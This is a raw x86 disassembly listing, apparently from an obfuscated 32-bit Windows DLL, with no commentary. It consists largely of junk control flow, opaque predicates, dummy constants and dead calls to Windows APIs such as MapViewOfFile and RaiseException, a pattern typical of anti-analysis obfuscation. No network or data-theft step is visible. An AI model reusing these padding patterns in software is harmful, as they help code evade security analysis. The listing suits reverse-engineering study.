call fcn.10016dc9
cmp dword [eax], 0xc9e4
jl 0x10033825
mov eax, ebx
jmp 0x10033827
xor eax, eax
xor ecx, ecx
cmp eax, 0x5ab1361
mov eax, dword [ebp - 0x3c]
sete cl
xor edx, edx
cmp ecx, eax
setl dl
add edx, 0xffff7f0f
neg edx
sbb edx, edx
inc edx
cmp edx, 0xeb25
jg 0x10033852
mov eax, ebx
jmp 0x10033854
xor eax, eax
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
neg eax
push 0
sbb eax, eax
inc eax
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x54], eax
dec dword [ebp - 0x14]
pop eax
jns 0x1003379e
jmp 0x1003388d
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x10033888
push eax
push eax
push eax
push eax
push eax
push eax
call edi
xor ebx, ebx
xor eax, eax
inc ebx
mov dword [ebp - 0x40], eax
jmp 0x100338f9
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x20], eax
jne 0x100338ff
cmp dword [ebp - 0x28], eax
je 0x100338a6
mov ecx, ebx
cmp dword [ebp - 0x38], eax
jne 0x100338a8
mov ecx, eax
xor eax, eax
cmp ecx, 0x39802ee
push 0
setge al
xor ecx, ecx
cmp eax, 7
setne cl
xor eax, eax
cmp ecx, 0x2184
mov ecx, dword [ebp - 0x28]
setge al
neg ecx
mov dword [ebp - 0x3c], eax
xor edx, edx
mov eax, dword [ebp - 0x20]
cmp eax, ecx
setne dl
xor ebx, ebx
cmp edx, dword [ebp - 0x3c]
setl bl
xor ecx, ecx
sub ebx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x34]
cmp eax, ebx
pop eax
setg cl
push 1
mov dword [ebp - 0x54], ecx
inc dword [ebp - 0x40]
pop ebx
cmp dword [ebp - 0x40], 3
jle 0x10033892
dec dword [ebp - 0x34]
push 0xffffffffffffffff
pop esi
jns 0x10033733
push 3
pop ebx
or esi, esi
lea ecx, [ebp - 0x2a8]
mov dword [ebp - 4], esi
call fcn.10016dad
push 4
lea ecx, [ebp - 0x26c]
call fcn.10016d2b
mov dword [ebp - 4], 0x23
xor eax, eax
mov dword [ebp - 0x34], 0x22ba3946
mov dword [ebp - 0x14], 0xc15d0d65
mov dword [ebp - 0x54], 0x6e1580eb
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 4
jge 0x10033971
push dword [ebp - 0x20]
lea ecx, [ebp - 0x26c]
call fcn.10016dc9
mov dword [eax], 0xffff
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 4
jl 0x10033952
xor eax, eax
mov dword [ebp - 0x34], ebx
cmp dword [ebp - 0x34], eax
jl 0x10033b5c
jmp 0x10033981
xor eax, eax
mov dword [ebp - 0x20], 0x92eda8ed
lea ecx, [ebp - 0x26c]
mov dword [ebp - 0x40], esi
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x34]
xor eax, eax
mov dword [ebp - 0x14], eax
push dword [ebp - 0x34]
call fcn.10016dc9
push dword [ebp - 0x34]
lea ecx, [ebp - 0x26c]
mov esi, eax
call fcn.10016dc9
mov ecx, dword [esi]
xor edx, edx
cmp ecx, dword [eax]
mov eax, dword [ebp - 0x14]
setg dl
imul eax, edx
test eax, eax
je 0x10033ac2
xor ebx, ebx
mov dword [ebp - 0x3c], 4
inc ebx
xor eax, eax
mov dword [ebp - 0x54], ebx
mov dword [ebp - 0x14], 3
cmp dword [ebp - 0x14], eax
jl 0x10033ad9
mov dword [ebp - 0x20], 0xb44cf59
cmp dword [ebp - 0x20], eax
je 0x10033aa0
push dword [ebp - 0x14]
lea ecx, [ebp - 0x26c]
call fcn.10016dc9
cmp dword [eax], 0
je 0x10033a9e
xor eax, eax
cmp dword [ebp - 0x3c], eax
je 0x10033a73
push dword [ebp - 0x14]
lea ecx, [ebp - 0x26c]
call fcn.10016dc9
cmp dword [eax], 0
jne 0x10033a3b
mov eax, dword [ebp - 0x20]
lea ecx, [ebp - 0x26c]
push 2
call fcn.10016dc9
push dword [ebp - 0x14]
lea ecx, [ebp - 0x26c]
call fcn.10016dc9
push dword [ebp - 0x14]
lea ecx, [ebp - 0x26c]
call fcn.10016dc9
xor eax, eax
lea ecx, [ebp - 0x26c]
push eax
call fcn.10016dc9
cmp dword [eax], 0xc9e4
jl 0x10033a71
mov eax, ebx
jmp 0x10033a73
xor eax, eax
xor ecx, ecx
cmp eax, 0x5ab1361
mov eax, dword [ebp - 0x3c]
sete cl
xor edx, edx
cmp ecx, eax
setl dl
add edx, 0xffff7f0f
neg edx
sbb edx, edx
inc edx
cmp edx, 0xeb25
jg 0x10033a9e
mov eax, ebx
jmp 0x10033aa0
xor eax, eax
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
neg eax
push 0
sbb eax, eax
inc eax
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x54], eax
dec dword [ebp - 0x14]
pop eax
jns 0x100339ea
jmp 0x10033ad9
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x10033ad4
push eax
push eax
push eax
push eax
push eax
push eax
call edi
xor ebx, ebx
xor eax, eax
inc ebx
mov dword [ebp - 0x40], eax
jmp 0x10033b45
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x20], eax
jne 0x10033b4b
cmp dword [ebp - 0x28], eax
je 0x10033af2
mov ecx, ebx
cmp dword [ebp - 0x38], eax
jne 0x10033af4
mov ecx, eax
xor eax, eax
cmp ecx, 0x39802ee
push 0
setge al
xor ecx, ecx
cmp eax, 7
setne cl
xor eax, eax
cmp ecx, 0x2184
mov ecx, dword [ebp - 0x28]
setge al
neg ecx
mov dword [ebp - 0x3c], eax
xor edx, edx
mov eax, dword [ebp - 0x20]
cmp eax, ecx
setne dl
xor ebx, ebx
cmp edx, dword [ebp - 0x3c]
setl bl
xor ecx, ecx
sub ebx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x34]
cmp eax, ebx
pop eax
setg cl
push 1
mov dword [ebp - 0x54], ecx
inc dword [ebp - 0x40]
pop ebx
cmp dword [ebp - 0x40], 3
jle 0x10033ade
dec dword [ebp - 0x34]
push 0xffffffffffffffff
pop esi
jns 0x1003397f
push 3
pop ebx
or esi, esi
lea ecx, [ebp - 0x26c]
mov dword [ebp - 4], esi
call fcn.10016dad
push 4
lea ecx, [ebp - 0x2c0]
call fcn.10016d2b
mov dword [ebp - 4], 0x24
xor eax, eax
mov dword [ebp - 0x34], 0x22ba3946
mov dword [ebp - 0x14], 0xc15d0d65
mov dword [ebp - 0x54], 0x6e1580eb
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 4
jge 0x10033bbd
push dword [ebp - 0x20]
lea ecx, [ebp - 0x2c0]
call fcn.10016dc9
mov dword [eax], 0xffff
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 4
jl 0x10033b9e
xor eax, eax
mov dword [ebp - 0x34], ebx
cmp dword [ebp - 0x34], eax
jl 0x10033da5
jmp 0x10033bcd
xor eax, eax
mov dword [ebp - 0x20], 0x92eda8ed
lea ecx, [ebp - 0x2c0]
mov dword [ebp - 0x40], esi
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x34]
xor eax, eax
mov dword [ebp - 0x14], eax
push dword [ebp - 0x34]
call fcn.10016dc9
push dword [ebp - 0x34]
lea ecx, [ebp - 0x2c0]
mov esi, eax
call fcn.10016dc9
mov ecx, dword [esi]
xor edx, edx
cmp ecx, dword [eax]
mov eax, dword [ebp - 0x14]
setg dl
imul eax, edx
test eax, eax
je 0x10033d0e
xor ebx, ebx
mov dword [ebp - 0x3c], 4
inc ebx
xor eax, eax
mov dword [ebp - 0x54], ebx
mov dword [ebp - 0x14], 3
cmp dword [ebp - 0x14], eax
jl 0x10033d25
mov dword [ebp - 0x20], 0xb44cf59
cmp dword [ebp - 0x20], eax
je 0x10033cec
push dword [ebp - 0x14]
lea ecx, [ebp - 0x2c0]
call fcn.10016dc9
cmp dword [eax], 0
je 0x10033cea
xor eax, eax
cmp dword [ebp - 0x3c], eax
je 0x10033cbf
push dword [ebp - 0x14]
lea ecx, [ebp - 0x2c0]
call fcn.10016dc9
cmp dword [eax], 0
jne 0x10033c87
mov eax, dword [ebp - 0x20]
lea ecx, [ebp - 0x2c0]
push 2
call fcn.10016dc9
push dword [ebp - 0x14]
lea ecx, [ebp - 0x2c0]
call fcn.10016dc9
push dword [ebp - 0x14]
lea ecx, [ebp - 0x2c0]
call fcn.10016dc9
xor eax, eax
lea ecx, [ebp - 0x2c0]
push eax
call fcn.10016dc9
cmp dword [eax], 0xc9e4
jl 0x10033cbd
mov eax, ebx
jmp 0x10033cbf
xor eax, eax
xor ecx, ecx
cmp eax, 0x5ab1361
mov eax, dword [ebp - 0x3c]
sete cl
xor edx, edx
cmp ecx, eax
setl dl
add edx, 0xffff7f0f
neg edx
sbb edx, edx
inc edx
cmp edx, 0xeb25
jg 0x10033cea
mov eax, ebx
jmp 0x10033cec
xor eax, eax
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
neg eax
push 0
sbb eax, eax
inc eax
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x54], eax
dec dword [ebp - 0x14]
pop eax
jns 0x10033c36
jmp 0x10033d25
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x10033d20
push eax
push eax
push eax
push eax
push eax
push eax
call edi
xor ebx, ebx
xor eax, eax
inc ebx
mov dword [ebp - 0x40], eax
jmp 0x10033d91
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x20], eax
jne 0x10033d97
cmp dword [ebp - 0x28], eax
je 0x10033d3e
mov ecx, ebx
cmp dword [ebp - 0x38], eax
jne 0x10033d40
mov ecx, eax
xor eax, eax
cmp ecx, 0x39802ee
push 0
setge al
xor ecx, ecx
cmp eax, 7
setne cl
xor eax, eax
cmp ecx, 0x2184
mov ecx, dword [ebp - 0x28]
setge al
neg ecx
mov dword [ebp - 0x3c], eax
xor edx, edx
mov eax, dword [ebp - 0x20]
cmp eax, ecx
setne dl
xor ebx, ebx
cmp edx, dword [ebp - 0x3c]
setl bl
xor ecx, ecx
sub ebx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x34]
cmp eax, ebx
pop eax
setg cl
push 1
mov dword [ebp - 0x54], ecx
inc dword [ebp - 0x40]
pop ebx
cmp dword [ebp - 0x40], 3
jle 0x10033d2a
dec dword [ebp - 0x34]
push 0xffffffffffffffff
pop esi
jns 0x10033bcb
or esi, esi
lea ecx, [ebp - 0x2c0]
mov dword [ebp - 4], esi
call fcn.10016dad
mov esi, 0xd6c05baf
xor eax, eax
mov dword [ebp - 0x2c], esi
mov edi, 0x20e32cf4
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0x19
jg 0x10033e5c
or ecx, 0xffffffff
mov dword [ebp - 0x44], 4
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 0xfffffff8
jge 0x10033e4f
xor ebx, ebx
inc ebx
push 3
lea ecx, [ebp - 0xc28]
call fcn.10016d2b
mov dword [ebp - 4], 0x25
xor eax, eax
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x20], eax
jmp 0x10033e13
push dword [ebp - 0x20]
call fcn.10016dc9
mov dword [eax], ebx
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 3
lea ecx, [ebp - 0xc28]
jl 0x10033e06
push ebx
call fcn.10016dc9
lea ecx, [ebp - 0xc28]
mov dword [eax], ebx
mov dword [ebp - 0x3c], ebx
mov eax, dword [ebp - 0x3c]
or eax, 0xffffffff
mov dword [ebp - 0x38], ebx
mov dword [ebp - 4], eax
call fcn.10016dad
dec dword [ebp - 0x44]
cmp dword [ebp - 0x44], 0xfffffff8
jl 0x10033de8
xor eax, eax
or ecx, 0xffffffff
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0x19
jle 0x10033dd2
mov dword [ebp - 0x2c], esi
or esi, 0xffffffff
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0x19
jg 0x10033eea
mov dword [ebp - 0x44], 4
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 0xfffffff8
jge 0x10033ee2
xor ebx, ebx
inc ebx
push 3
lea ecx, [ebp - 0xb08]
call fcn.10016d2b
mov dword [ebp - 4], 0x26
xor eax, eax
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x20], eax
jmp 0x10033eac
push dword [ebp - 0x20]
call fcn.10016dc9
mov dword [eax], ebx
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 3
lea ecx, [ebp - 0xb08]
jl 0x10033e9f
push ebx
call fcn.10016dc9
lea ecx, [ebp - 0xb08]
mov dword [eax], ebx
mov dword [ebp - 0x3c], ebx
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x38], ebx
mov dword [ebp - 4], esi
call fcn.10016dad
dec dword [ebp - 0x44]
cmp dword [ebp - 0x44], 0xfffffff8
jl 0x10033e81
xor eax, eax
inc dword [ebp - 0x2c]
jmp 0x10033e65
mov dword [ebp - 0x30], eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x10033f13
push 0x15f0
push 0x1d14
push 0x93c
push 0x13b0
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
xor eax, eax
mov ebx, dword [sym.imp.USER32.dll_DefWindowProcA]
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x10033f34
push eax
push eax
push 0x15f9
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call ebx
xor eax, eax
mov dword [ebp - 0x3c], 0x4e6d
xor edi, edi
inc edi
mov dword [ebp - 0x40], edi
mov dword [ebp - 0x38], 0x45ccb972
mov dword [ebp - 0x54], 0x12f3ccd2
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x20], eax
jmp 0x10033f68
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x1dc], 0xdc345fe4
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edi
jl 0x10033f57
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x1dc], eax
test eax, eax
je 0x10033f7d
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x40]
add eax, dword [ebp - 0x3c]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x1dc]
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x40]
imul eax, dword [ebp - 0x3c]
cmp eax, dword [ebp - 0x54]
jge 0x10033fa7
mov eax, dword [ebp - 0x1dc]
mov eax, dword [ebp - 0x40]
xor ecx, ecx
cmp eax, 0x600d5493
setne cl
xor eax, eax
mov dword [ebp - 0x38], ecx
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x10033fd2
push 0x23df
push 0x19f7
push eax
call dword [sym.imp.USER32.dll_CheckMenuItem]
mov dword [ebp - 0x38], 0xa025
lea ecx, [ebp - 0xeb0]
mov dword [ebp - 0x3c], 0x6951ad38
mov dword [ebp - 0x3c], edi
push edi
call fcn.10016d2b
mov eax, 0x57b5
mov dword [ebp - 4], 0x27
mov dword [ebp - 0x444], eax
lea ecx, [ebp - 0xa84]
mov dword [ebp - 0x440], eax
mov dword [ebp - 0x43c], eax
mov dword [ebp - 0x438], eax
push edi
call fcn.10016d2b
xor eax, eax
mov byte [ebp - 4], 0x28
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edi
jge 0x1003404b
push dword [ebp - 0x14]
lea ecx, [ebp - 0xeb0]
call fcn.10016dc9
mov dword [eax], 0x47a6deec
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x1003402d
xor eax, eax
mov dword [ebp - 0x14], eax
jmp 0x1003405e
push dword [ebp - 0x14]
call fcn.10016dc9
and dword [eax], 0
inc dword [ebp - 0x14]
lea ecx, [ebp - 0xa84]
cmp dword [ebp - 0x14], edi
jl 0x10034050
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x3c], eax
xor eax, eax
push eax
call fcn.10016dc9
lea ecx, [ebp - 0xa84]
inc dword [eax]
call fcn.10016dad
lea ecx, [ebp - 0xeb0]
mov dword [ebp - 4], esi
call fcn.10016dad
push 4
pop esi
push esi
lea ecx, [ebp - 0x284]
call fcn.10016d2b
mov dword [ebp - 4], 0x29
xor eax, eax
mov dword [ebp - 0x40], 0x22ba3946
mov dword [ebp - 0x44], 0x3342eb9
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x44], eax
jmp 0x100340f1
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x100340e5
push eax
push 0xa7f
push 0xb37
push 0x16b5
call dword [sym.imp.KERNEL32.dll_RaiseException]
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x38], eax
dec dword [ebp - 0x44]
push 0
pop eax
cmp dword [ebp - 0x44], 0xfffffffb
jl 0x100340c6
movdqa xmm0, xmmword [0x10007c30]
lea eax, [ebp - 0x1148]
push eax
lea eax, [ebp - 0x1158]
mov dword [ebp - 0x34], 0xc15d0d65
push eax
lea ecx, [ebp - 0x1384]
movdqu xmmword [ebp - 0x1158], xmm0
call fcn.10016dd8
lea ecx, [ebp - 0x21f]
mov esi, eax
call fcn.10008b33
push eax
push dword [esi + 4]
lea ecx, [ebp - 0x1228]
push dword [esi]
call fcn.10016d87
mov dword [ebp - 0x20], 0xc4d8e5cc
xor eax, eax
mov dword [ebp - 0x30], 0xfffffffc
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 3
jg 0x1003418e
mov eax, 0x11c1
mov dword [ebp - 0xe14], eax
mov dword [ebp - 0xe10], eax
mov dword [ebp - 0xe0c], eax
mov dword [ebp - 0xe08], eax
mov dword [ebp - 0xe10], 0x2e31d83
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 3
jle 0x10034163
lea ecx, [ebp - 0x1228]
call fcn.10016dad
mov dword [ebp - 0x3c], 0x6e1580eb
lea ecx, [ebp - 0xd30]
mov dword [ebp - 0x20], 0xdf75dcec
push edi
call fcn.10016d2b
xor eax, eax
mov byte [ebp - 4], 0x2a
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], edi
jge 0x100341df
push dword [ebp - 0x20]
lea ecx, [ebp - 0xd30]
call fcn.10016dc9
mov dword [eax], 0x35f394a2
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edi
jl 0x100341c1
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0xb
jg 0x10034248